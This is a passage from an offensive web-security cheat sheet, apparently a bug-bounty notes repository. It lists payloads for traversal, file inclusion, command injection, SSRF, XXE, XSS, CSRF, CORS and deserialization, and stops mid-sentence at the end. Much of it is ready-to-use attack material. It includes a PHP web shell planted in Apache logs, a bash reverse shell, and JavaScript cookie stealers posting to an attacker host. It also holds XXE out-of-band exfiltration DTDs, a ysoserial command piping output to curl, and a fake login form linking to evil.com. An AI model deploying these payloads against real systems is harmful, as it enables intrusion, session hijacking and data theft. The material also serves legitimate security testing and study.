Cache Deception** - Attacker send to a victim a 404 endpoint like `site.com/dir/ok.css` - Victim click on it, the CDN cache the page - Attacker goes to `site.com/dir/ok.css`, now it can see the page of the Victim **Misc tests** - [Password change](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change) - [Keeping users logged in](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie) - Test "remember me" functionality - PHP protections can be bypassed with `[]`, like `password=123` to `password[]=123` - Replace password with a list of candidates, example ```JSON "username":"usertest" "password":[ "123456", "password", "qwerty", ... ``` - Search for [Open Redirect](#open-redirection) in login and register - For phpMyAdmin, check default credential `root` and blank password ### <ins>Directory Traversal</ins> Directory traversal vulnerabilities allow an attacker to read local secret files. To identify these vulnerabilities, you can search for file extensions in URL query strings and common vulnerable parameters like `file`, `path` and `folder` (see [scripts/fg.rb](scripts/fg.rb)) **Exploitations / Bypasses** - simple case `https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini` - absolute path `https://insecure-website.com/loadImage?filename=/etc/passwd` - stripped non-recursively `https://insecure-website.com/loadImage?filename=....//....//....//etc/passwd` - superfluous URL-decode `https://insecure-website.com/loadImage?filename=..%252f..%252f..%252fetc/passwd` - validation of start of path `https://insecure-website.com/loadImage?filename=/var/www/images/../../../etc/passwd` - validation of start of path `https://insecure-website.com/loadImage?filename=../../../etc/passwd%00.png` **Search for** - `windows\win.ini` - `c:\windows\system32\drivers\etc\hosts` - `etc/passwd` ### <ins>File inclusion</ins> File inclusion vulnerabilities allow an attacker to include a file into the application’s running code. To identify these vulnerabilities, you can search for file extensions in URL query strings and common vulnerable parameters like `file`, `path` and `folder` (see [scripts/fg.rb](scripts/fg.rb)). **Local File Inclusion (LFI)**: execute a local file. An example: Apache's access.log contamination 1. Once found a LFI, read the Apache's access.log `http://victim.com/page.php?file=<PAYLOAD>` - Use `C:\xampp\apache\logs\access.log` or `../../../../../../../../../var/log/apache2/access.log` 2. Notice which values from requests are saved. Contaminate Apache logs by sending this payload `<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>` in the User-Agent 3. Execute a RCE with `http://victim.com/page.php?file=<apache/access.log>&cmd=ipconfig`. It will load the contaminated logs and perform an RCE thanks to `shell_exec($_GET['cmd'])` 4. Run a reverse shell using a listener `nc -nvlp 4444` and in `&cmd` use `bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22` **Remote File Inclusion (RFI)**: execute a remote file - An example: `http://<VICTIM>/menu.php?file=http://<ATTACKER>/evil.php` **PHP Wrappers** - `?file=data:text/plain,hello world` - `?file=data:text/plain,<?php echo shell_exec("dir") ?>` - `?file=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls` - Use the command `curl http://victim.com/index.php?page=php://filter/convert.base64-encode/resource=admin.php` to obtain the source code of `admin.php` encoded in base64. This is to not run the PHP and to fetch the source code - Some examples for `php://`: [PHP: php:// - Manual](https://www.php.net/manual/en/wrappers.php.php) - [Other wrappers](https://www.php.net/manual/en/wrappers.php) **To search** - `/var/log/apache2/access.log` - `/etc/passwd` - `/etc/shadow` ### <ins>OS Command Injection</ins> Let's say that the vulnerable endpoint it's `https://insecure-website.com/stockStatus?productID=381&storeID=29`. The provide the stock information, the application runs the command `stockpile.pl 381 29`. If there is no OS Command Injection protection, by inserting the payload `& echo abcdefg &` in `productID` it's possible to execute the command `echo`. For blind OS Command Injections - Time delay `& ping -c 10 127.0.0.1 &` - Redirecting output `& whoami > /var/www/static/whoami.txt &` - Out-of-band (OAST) techniques `& nslookup kgji2ohoyw.web-attacker.com &` Ways of injecting OS commands - Both Windows and Unix-based systems - `&` - `&&` - `|` - `||` - Unix-based systems only - `;` - Newline with `0x0a` or `\n` - `injected command` - `$(injected command)` **Resource** - [commix-testbed](https://github.com/commixproject/commix-testbed) ### <ins>Business logic vulnerabilities</ins> **Examples** - Excessive trust in client-side controls - 2FA broken logic - Failing to handle unconventional input - Inconsistent security controls - Weak isolation on dual-use endpoint - Password reset broken logic - Insufficient workflow validation - Flawed enforcement of business rules - [Authentication bypass via encryption oracle](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle) - Account Takeover via type confusion - Play with parameters and flags to see if you can achieve ATO ### <ins>Information Disclosure</ins> What is information disclosure? - Data about other users, such as usernames or financial information - Sensitive commercial or business data - Technical details about the website and its infrastructure What are some examples of information disclosure? - Revealing the names of hidden directories, their structure, and their contents via a robots.txt file or directory listing - Providing access to source code files via temporary backups - Explicitly mentioning database table or column names in error messages - Unnecessarily exposing highly sensitive information, such as credit card details - Hard-coding API keys, IP addresses, database credentials, and so on in the source code - Hinting at the existence or absence of resources, usernames, and so on via subtle differences in application behavior - If you need to find UUID from an email, try to register the user and see if in the response it's disclosed. [[Reference](https://twitter.com/intigriti/status/1217794181982302208)] How do information disclosure vulnerabilities arise? - Failure to remove internal content from public content - Insecure configuration of the website and related technologies - Flawed design and behavior of the application ### <ins>Access control vulnerabilities and privilege escalation</ins> In the context of web applications, access control is dependent on authentication and session management: - Authentication identifies the user and confirms that they are who they say they are; - Session management identifies which subsequent HTTP requests are being made by that same user; - Access control determines whether the user is allowed to carry out the action that they are attempting to perform. From a user perspective, access controls can be divided into the following categories: - Vertical access controls Mechanisms that restrict access to sensitive functionality that is not available to other types of users - Horizontal access controls Mechanisms that restrict access to resources to the users who are specifically allowed to access those resources - Context-dependent access controls Restrict access to functionality and resources based upon the state of the application or the user's interaction with it **Tools** - [Autorize](https://github.com/PortSwigger/autorize) - [Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e) - [UUID Detector](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248) - Check also endpoints in JS files ### <ins>File upload vulnerabilities</ins> **Upload Functions check-list** - [ ] Check if the method `PUT` is enabled - [ ] Integrations (from 3rd party) - XSS - [ ] Self Uploads - XML based (Docs/PDF) - SSRF, XSS - Image - XSS, Shell - Name - Binary header - Metadata - [ ] Where is data stored? - [s3 perms](#abusing-s3-bucket-permissions) - [GCS perms](#google-cloud-storage-bucket) **Extension Splitting** - shell.php%00.png - shell.php%0A.png - shell.php\n.png - shell.php\u000a.png - shell.php\u560a.png - shell.php%E5%98%8A.png - shell.php;.png - shell.php%3B.png - shell.php\u003b.png - shell.php\u563b.png - shell.php%E5%98%BB.png **multipart/form-data POST request** ```HTTP POST / HTTP/2 Host: example.io Content-Type: multipart/form-data; boundary=---------------------------374598703146120535182333328 Content-Length: 342 -----------------------------374598703146120535182333328 Content-Disposition: form-data; name="key" general -----------------------------374598703146120535182333328 Content-Disposition: form-data; name="file"; filename="file.pdf" Content-Type: application/pdf $content$ -----------------------------374598703146120535182333328-- ``` **Add magic bytes** Add magic bytes at the beginning of a file to bypass restrictions ```sh echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r >> reverse.php.png cat reverse.php >> reverse.php.png ``` - Useful, for example, to upload `.js` files and bypass CSP restrictions **General tips** - If the target creates an encrypter URL for your file, copy the domain and use the command `echo data.target.com | waybackurls | httpx -mc 200, 403`. If you find valid endpoints, it might be possible to have an information disclosure [[Reference](https://twitter.com/ADITYASHENDE17/status/1673585969411526658)] **Resources** - [Common MIME types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types) - [ASHX shell](https://gist.github.com/merttasci/82100f2ef904dfe810416fd3cb48be5c), see [mert's tweet](https://twitter.com/mertistaken/status/1646171743206121474) - [How I earned $500 by uploading a file: write-up of one of my first bug bounty](https://seeu-inspace.medium.com/how-i-earned-500-by-uploading-a-file-write-up-of-one-of-my-first-bug-bounty-c174cf8ea553) - See the shells [here](shells/) ### <ins>Server-side request forgery (SSRF)</ins> **SSRF with blacklist-based input filters bypass** Some applications block input containing hostnames like `127.0.0.1` and localhost, or sensitive URLs like `/admin`. In this situation, you can often circumvent the filter using various techniques: - Using an alternative IP representation of `127.0.0.1`, such as `2130706433`, `017700000001`, or `127.1`; - Registering your own domain name that resolves to `127.0.0.1`. You can use spoofed.burpcollaborator.net for this purpose or the domain `firefox.fr` is a DNS that point to `127.0.0.1`.; - Obfuscating blocked strings using URL encoding or case variation. **SSRF with whitelist-based input filters bypass** - You can embed credentials in a URL before the hostname, using the `@` character. For example: `https://expected-host@evil-host`. - You can use the `#` character to indicate a URL fragment. For example: `https://evil-host#expected-host`. - You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: `https://expected-host.evil-host`. - You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request. - You can use combinations of these techniques together. **Other tips** - By combining it with an [Open redirection](#open-redirection), you can bypass some restrictions. [An example](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection): `http://vulnerable.com/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos` - For AWS, bypass some restrictions by hosting this PHP page [[Reference](https://hackerone.com/reports/508459)] ```PHP <?php header('Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-opsworks-ec2-role', TRUE, 303); ?> ``` - If everything fails, look for assets pointing to internal IPs. You can usually find these via CSP headers, JS files, Github, shodan/censys etc. [[Reference](https://twitter.com/bogdantcaciuc7/status/1561572514295341058)] - [SSRF (Server Side Request Forgery) testing resources](https://github.com/cujanovic/SSRF-Testing) **Common endpoints** - Webhooks - Try to send requests to internal resources - PDF Generator - If there is an HTML Injection in a PDF generator, try call internal resources with something like `<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" title="SSRF test">`, with these tags `<img>`, `<script>`, `<base>` or with the CSS element `url()` - Document parsers - If it's an XML doc, use the PDF Generator approach - In other scenarios, see if there is any way to reference external resources and let server make requests to internal resources - Link expansion, [[Reference](https://twitter.com/BugBountyHQ/status/868242771617792000)] - File uploads - Instead of uploading a file, upload a URL. [An example](https://hackerone.com/reports/713) - Use an SVG file ```svg <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/test.png"/> </svg> ``` **Common payloads** - `http://127.0.0.1` - `http://localhost/` - `http://169.254.169.254/` - `http://169.254.169.254/latest/meta-data/` - `http://metadata.google.internal/` - `https://kubernetes.default.svc/metrics` [[Random Robbie's tweet](https://twitter.com/Random_Robbie/status/1072242182306832384)] **Resources** - [7 SSRF Mitigation Techniques You Must Know](https://brightsec.com/blog/7-ssrf-mitigation-techniques-you-must-know/) - [Cloud SSRF | HackTricks](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) ### <ins>Open redirection</ins> **Bypasses** - https://attacker.com?victim.com - https://attacker.com;victim.com - https://attacker.com/victim.com/../victimPATH - https://victim.com.attacker.com - https://attackervictim.com - https://[email protected] - https://attacker.com#victim.com - https://attacker.com\.victim.com - https://attacker.com/.victim.com - https://subdomain.victim.com/r/redir?url=https%3A%2F%2Fvictim.com%40ATTACKER_WEBSITE.COM?x=subdomain.victim.com%2f - https://www.victim.com/redir/r.php?redirectUri=https://attacker%E3%80%82com%23.victim.com/ - https://www.victim.com/redir/r.php?redirectUri=/%0d/attacker.com/ ### <ins>XXE injection</ins> - **Exploiting XXE to retrieve files**<br/> Original ```xml <?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck> ``` Modified ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck> ``` - **Exploiting XXE to perform SSRF attacks** ```xml <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerablewebsite.com/"> ]> ``` - **Exploiting blind XXE exfiltrate data out-of-band**<br/> Example ```xml <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://web-attacker.com"> %xxe; ]> ``` - **Exfiltrate data out-of-band**<br/> for-the-malicious-web-server.dtd ```xml <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://webattacker.com/?x=%file;'>"> %eval; %exfil; ``` Submit to vulnerable server ```xml <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://webattacker.com/malicious.dtd"> %xxe;]> ``` - **Exploiting blind XXE to retrieve data via error messages** ```xml <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` - **Exploiting blind XXE by repurposing a local DTD**<br/> Suppose there is a DTD file on the server filesystem at the location `/usr/local/app/schema.dtd` ```xml <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % custom_entity ' <!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; '> %local_dtd; ]> ``` To locate the DTD file, submit the payload ```xml <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> %local_dtd; ]> ``` - **Try with xinclude to achieve SSRF or LFI** ```xml <?xml version="1.0" encoding="utf-8" ?> <username xmls:xi="https://w3.org/2001/XInclude"> <xi:include parse="text" href="file:///c:/windows/win.ini"> </username> ``` Attack surfaces - **XInclude attacks** ```xml <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> ``` - **XXE attacks via file upload with** `.svg` ```svg <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITYxxe SYSTEM "file:///etc/hostname" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> </svg> ``` - **XXE attacks via modified content type**<br/> For example, Content-Type: `application/x-www-form-urlencoded` -> `Content-Type: text/xml` Manually testing for XXE vulnerabilities generally involves - Testing for file retrieval - Testing for blind XXE vulnerabilities - Testing for vulnerable inclusion of user-supplied non-XML data within a server-side XML document ### <ins>Cross-site scripting (XSS)</ins> #### <ins>Bookmarks</ins> - [Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File Read](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/) - [Exploiting XSS via Markdown](https://medium.com/taptuit/exploiting-xss-via-markdown-72a61e774bf8) - [XSS to Exfiltrate Data from PDFs](https://medium.com/r3d-buck3t/xss-to-exfiltrate-data-from-pdfs-f5bbb35eaba7) - [How to craft an XSS payload to create an admin user in WordPress](https://shift8web.ca/2018/01/craft-xss-payload-create-admin-user-in-wordpress-user/) #### <ins>Resources</ins> - [xsscrapy](https://github.com/DanMcInerney/xsscrapy) - [python3 version](https://github.com/L1NT/xsscrapy) - For blind XSS - [XSS Hunter Express](https://github.com/mandatoryprogrammer/xsshunter-express) - [XSS Hunter](https://xsshunter.com/) - [AwesomeXSS](https://github.com/s0md3v/AwesomeXSS) - [Weaponised XSS payloads](https://github.com/hakluke/weaponised-XSS-payloads) - [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) - [XSS all the things](XSS%20all%20the%20things/) some payloads to find XSS in various places - [JSCompress](https://jscompress.com/) #### <ins>Bypasses</ins> - https://www.googleapis.com/customsearch/v1?callback=alert(document.domain) - [JSFuck](http://www.jsfuck.com/) - [Path Relative style sheet injection](https://portswigger.net/kb/issues/00200328_path-relative-style-sheet-import) - [Shortest rXSS possible](https://brutelogic.com.br/blog/shortest-reflected-xss-possible/) - If Privileges are required, see if you can chain the XSS with a [CSRF](#cross-site-request-forgery-csrf) #### <ins>CSP</ins> - [csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com/) - [CSP Auditor](https://portswigger.net/bappstore/35237408a06043e9945a11016fcbac18) - [CSP Bypass](https://github.com/PortSwigger/csp-bypass) #### <ins>Blind XSS</ins> - Insert a payload in the User-Agent, try with the match/replace rule - Other endpoints: pending review comments, feedback #### <ins>Swagger XSS</ins> - https://github.com/swagger-api/swagger-ui/issues/1262 - https://github.com/swagger-api/swagger-ui/issues/3847<br/> `?url=https://raw.githubusercontent.com/seeu-inspace/easyg/main/XSS%20all%20the%20things/swag-test.json` - [Hacking Swagger-UI - from XSS to account takeovers](https://www.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/)<br/> `?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NlZXUtaW5zcGFjZS9lYXN5Zy9tYWluL1hTUyUyMGFsbCUyMHRoZSUyMHRoaW5ncy9zd2FnLXRlc3QueWFtbCIKfQ==` - Nuclei template `%USERPROFILE%\nuclei-templates\exposures\apis\swagger-api.yaml` #### <ins>Carriage Return Line Feed (CRLF) injection</ins> - `/%0D%0AX-XSS-Protection%3A%200%0A%0A%3cscript%3ealert(document.domain)%3c%2fscript%3e%3c!--` - `/%E5%98%8D%E5%98%8AX-XSS-Protection%3A%200%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A%3cscript%3ealert(document.domain)%3c%2fscript%3e%3c!--` - Nuclei template `%USERPROFILE%\nuclei-templates\vulnerabilities\generic\crlf-injection.yaml` #### <ins>Payloads</ins> - HTML injection - ```HTML <p style="color:red">ERROR! Repeat the login</p>Membership No.<br/><input><br/><a href=http://evil.com><br><input type=button value="Login"></a><br/><img src=http://evil.com style="visibility:hidden"> ``` - ```HTML <div style="background-color:white;position:fixed;width:100%;height:100%;top:0px;left:0px;z-index:1000;margin: auto;padding: 10px;"><p style="color:red">ERROR! Repeat the login</p>Membership No.<br/><input><br/><a href=http://evil.com><br><input type=button value="Login"></a></div> ``` - [For hidden inputs](https://portswigger.net/research/xss-in-hidden-input-fields): `accesskey="X" onclick="alert(1)"` then Press ALT+SHIFT+X on Windows / CTRL+ALT+X on OS X - For **mobile applications**: try to use as a vector the name of the phone with a payload like `"/><script>alert(1)</script>` - [XSS Without parentheses](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - iframe + base64 encoded SVG ```HTML <iframe src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/Pgo8IURPQ1RZUEUgc3ZnIFBVQkxJQyAiLS8vVzNDLy9EVEQgU1ZHIDEuMS8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9HcmFwaGljcy9TVkcvMS4xL0RURC9zdmcxMS5kdGQiPgoKPHN2ZyB2ZXJzaW9uPSIxLjEiIGJhc2VQcm9maWxlPSJmdWxsIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICA8cmVjdCB3aWR0aD0iMzAwIiBoZWlnaHQ9IjEwMCIgc3R5bGU9ImZpbGw6cmdiKDAsMCwyNTUpO3N0cm9rZS13aWR0aDozO3N0cm9rZTpyZ2IoMCwwLDApIiAvPgogICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CiAgICAgIGFsZXJ0KGRvY3VtZW50LmRvbWFpbik7CiAgIDwvc2NyaXB0Pgo8L3N2Zz4="></iframe> ``` - Small SVG base64 ```HTML data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxyZWN0IHdpZHRoPSIxIiBoZWlnaHQ9IjEiLz48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+PC9zdmc+ ``` - Cookie stealers - ```JavaScript fetch('https://ATTACKER-WEBSITE', {method: 'POST',mode: 'no-cors',body:document.cookie}); ``` - ```JavaScript document.write('<img src=\"http://ATTACKER-WEBSITE/?cookie=' + document.cookie + '\" />') ``` - ```HTML <img src=x onerror=this.src='http://ATTACKER-WEBSITE/?x='+document.cookie;> ``` - Unusual events - `onpointerrawupdate` (Chrome only) - `onmouseleave` - Can't use `alert`, `confirm` or `prompt`? Try `print()`! [[Reference](https://portswigger.net/research/alert-is-dead-long-live-print)] - This lead the page to make a loop of requests, eventually causing being blocked by a WAF and being a potential DoS ```JavaScript for(;;){fetch('https://VICTIM/',{method:'GET'});} ``` - ```HTML %253c%252fscript%253e%253cscript%253ealert(document.cookie)%253c%252fscript%253e ``` - ```HTML <a href="jAvAsCrIpT:alert(1)">payload</a> ``` - ```JavaScript %22%20onbeforeinput=alert(document.domain)%20contenteditable%20alt=%22 ``` - ```JavaScript 1672&81782%26apos%3b%3balert(%26apos%3bXSS%26apos%3b)%2f%2f232=1 ``` - ```HTML <svg/onload=alert(0)> ``` - ```HTML <script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,100,111,109,97,105,110))</script> ``` - ```HTML <a href=jav%26%23x61%3bscript:alert()> ``` - [source 1](https://twitter.com/TakSec/status/1649091314842238978), [source 2](https://brutelogic.com.br/blog/alternative-javascript-pseudo-protocol/) - ```HTML data:text/javascript,console.log(3 + '\n' + `};console.log(1);//<img src=x onerror=javascript:console.log(2) oncopy=console.log(4)>`);//&quot; onerror=console.log(5) id=&quot;x ``` - For the challenge [5Ways2XSS - DOJO #23 | YesWeHack](https://dojo-yeswehack.com/practice/d5e8e5ddf9af) - ```HTML %22-alert(document.cookie)-%22 ``` - ```HTML %00%22%3E%3Cimg%20src%3da%20onerror%3dconfirm(document.domain)%3E ``` #### <ins>XSS -> ATO Escalation</ins> [[Reference](https://twitter.com/Rhynorater/status/1682401924635566080)] - Change email > Password reset - Change phone number > SMS password reset - Add SSO (Google, Github etc.) - Add authentication method (email, sms etc.) > Password reset - Change password - Change security questions - Cross Site Tracing: If cookies are protected by the HttpOnly flag but the TRACE method is enabled, a technique called Cross Site Tracing can be used. [[Reference](https://owasp.org/www-community/attacks/Cross_Site_Tracing)] - Steal Cookies - Steal API key - Add admin user to the application - Hijack oAuth flow and steal code - Steal SSO code to adjacent app, then reverse SSO back to main app ### <ins>Cross-site request forgery (CSRF)</ins> - Remove the entire token - Use any random but same-length token, or `same-length+1`/`same-length-1` - Use another user's token - Change from `POST` to `GET` and delete the token - If it's a `PUT` or `DELETE` request, try `POST /profile/update?_method=PUT` or ```HTTP POST /profile/update HTTP/1.1 Host: vuln.com ... _method=PUT ``` - If the token it's in a custom header, delete the header - Change the `Content-Type` to `application/json`, `application/x-url-encoded` or `form-multipart`, `text/html`, `application/xml` - If there is double submit token, try CRLF injection - Bypassing referrer check - If it's checked but only when it exists, add to the PoC `<meta name="referrer" content="never">` - Regex Referral bypass ``` - https://attacker.com?victim.com - https://attacker.com;victim.com - https://attacker.com/victim.com/../victimPATH - https://victim.com.attacker.com - https://attackervictim.com - https://[email protected] - https://attacker.com#victim.com - https://attacker.com\.victim.com - https://attacker.com/.victim.com ``` - CSRF token stealing via XSS/HTMLi/CORS - JSON based - Change the `Content-Type` to `text/plain`, `application/x-www-form-urlencoded`, `multipart/form-data` - Use flash + 307 redirect - Guessable CSRF token - Clickjacking to strong CSRF token bypass - Type juggling - Use array, from `csrf=token` to `csrf[]=token` - Set the CSRF token to null or add null bytes - Check whether CSRF token is sent over http or sent to 3rd party - Generate multiple CSRF tokens, pick the static part. Play with the dynamic part **Resources** - [CSRF PoC Generator](https://security.love/CSRF-PoC-Genorator/) ### <ins>Cross-origin resource sharing (CORS)</ins> **Classic CORS vulnerability** ```HTML <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://<TARGET-URL>',true); req.withCredentials = true; req.send(); function reqListener() { alert(this.responseText); }; </script> ``` **CORS vulnerability with null origin** ```HTML <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://<TARGET-URL>',true); req.withCredentials = true; req.send(); function reqListener() { alert(this.responseText); }; </script>"> </iframe> ``` **Resources** - [Corsy](https://github.com/s0md3v/Corsy) Corsy is a lightweight program that scans for all known misconfigurations in CORS implementations - [What is CORS (cross-origin resource sharing)? Tutorial & Examples | Web Security Academy](https://portswigger.net/web-security/cors) ### <ins>Clickjacking</ins> **Classic PoC** ```HTML <style> iframe { position:relative; width:$width_value; height: $height_value; opacity: $opacity; z-index: 2; } div { position:absolute; top:$top_value; left:$side_value; z-index: 1; } </style> <div>Click me button</div> <iframe src="$url"></iframe> ``` **Resources** - [What is Clickjacking? Tutorial & Examples | Web Security Academy](https://portswigger.net/web-security/clickjacking) ### <ins>DOM-based vulnerabilities</ins> Many DOM-based vulnerabilities can be traced back to problems with the way client-side code manipulates attacker-controllable data. - document.URL - document.documentURI - document.URLUnencoded - document.baseURI - location - document.cookie - document.referrer - window.name - history.pushState - history.replaceState - localStorage - sessionStorage - IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB) - Database | DOM-based vulnerability | Example sink | | -------------------------------- | -------------------------- | | DOM XSS | document.write() | | Open redirection | window.location | | Cookie manipulation | document.cookie | | JavaScript injection | eval() | | Document-domain manipulation | document.domain | | WebSocket-URL poisoning | WebSocket() | | Link manipulation | someElement.src | | Web-message manipulation | postMessage() | | Ajax request-header manipulation | setRequestHeader() | | Local file-path manipulation | FileReader.readAsText() | | Client-side SQL injection | ExecuteSql() | | HTML5-storage manipulation | sessionStorage.setItem() | | Client-side XPath injection | document.evaluate() | | Client-side JSON injection | JSON.parse() | | DOM-data manipulation | someElement.setAttribute() | | Denial of service | RegExp() | ### <ins>WebSockets</ins> Any web security vulnerability might arise in relation to WebSockets: - User-supplied input transmitted to the server might be processed in unsafe ways, leading to vulnerabilities such as SQL injection or XML external entity injection; - Some blind vulnerabilities reached via WebSockets might only be detectable using out-of-band (OAST) techniques; - If attacker-controlled data is transmitted via WebSockets to other application users, then it might lead to XSS or other client-side vulnerabilities. **Cross-site WebSocket hijacking (CSRF missing)** ```HTML <script> websocket = new WebSocket('wss://websocket-URL'); websocket.onopen = start; websocket.onmessage = handleReply; function start(event) { websocket.send("READY"); } function handleReply(event) { fetch('https://your-domain/?'+event.data, {mode: 'no-cors'}); } </script> ``` ### <ins>Insecure deserialization</ins> How to spot Insecure deserialization - PHP example `O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}` - Java objects always begin with the same bytes - Hex `ac` `ed` - Base64 `rO0` - .NET vulnerable deserarilaztion libraries: BinaryFormatter, SoapFormatter, NetDataContractSerializer, LosFormatter, ObjectStateFormatter - BinaryFormatter serialized objects usually starts with `AAEAAAD` **Ysoserial** Because of `Runtime.exec()`, ysoserial doesn't work well with multiple commands. After some research, I found a way to run multiple sys commands anyway, by using `sh -c $@|sh . echo ` before the multiple commands that we need to run. Here I needed to run the command `host` and `whoami`: ``` java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 'sh -c $@|sh . echo host $(whoami).<MY-RATOR-ID>.burpcollaborator.net' | gzip | base64 ``` Other options - `java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections4 "id"` - See [this](https://forum.portswigger.net/thread/ysoserial-stopped-working-b5a161f42f) **Ysoserial.net** Windows Defender might tag the application as virus. ``` .\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c 'whoami | curl --data-binary @- http://yourcollaboratorserver' -bgc ActivitySurrogateDisableTypeCheck --minify --ust ``` **PHPGGC** [PHPGGC](https://github.com/ambionics/phpggc) is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. **Burp extensions** - [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - [Java Serialized Payloads](https://portswigger.net/bappstore/bc737909a5d742eab91544705c14d34f) - [GadgetProbe](https://portswigger.net/bappstore/e20cad259d73403bba5ac4e393a8583f) - [Freddy, Deserialization Bug Finder](https://portswigger.net/bappstore/ae1cce0c6d6c47528b4af35faebc3ab3) - [PHP Object Injection Check](https://portswigger.net/bappstore/24dab228311049d89a27a4d721e17ef7) ### <ins>Server-side template injection</ins> - Try fuzzing the template by injecting a sequence of special characters commonly used in template expressions, such as `${{<%[%'"}}%\`. To identify the template engine submit invalid syntax to cause an error message. - The next step is look for the documentation to see how you can exploit the vulnerable endpoints and known vulnerabilities/exploits. - Use payloads like these ``` {{7*7}}[[3*3]] {{7*7}} {{7*'7'}} <%= 7 * 7 %> ${7*7} ${{7*7}} @(7+7) #{7*7} #{ 7 * 7 } ``` ### <ins>Web cache poisoning</ins> **Constructing a web cache poisoning attack** 1. Identify and evaluate unkeyed inputs 2. Elicit a harmful response from the back-end server 3. Get the response cached **Cache key flaws** Many websites and CDNs perform various transformations on keyed components when they are saved in the cache key: - Excluding the query string - Filtering out specific query parameters - Normalizing input in keyed components **Cache probing methodology**<br/> 1. Identify a suitable cache oracle - Simply a page or endpoint that provides feedback about the cache's behavior. This feedback could take various forms, such as: An HTTP header that explicitly tells you whether you got a cache hit, Observable changes to dynamic content, Distinct response times 2. Probe key handling - Is anything being excluded from a keyed component when it is added to the cache key? Common examples are excluding specific query parameters, or even the entire query string, and removing the port from the Host header. 3. Identify an exploitable gadget - These techniques enable you to exploit a number of unclassified vulnerabilities that are often dismissed as "unexploitable" and left unpatched. ### <ins>HTTP Host header attacks</ins> - "If someone sends a cookie called '0', automattic.com 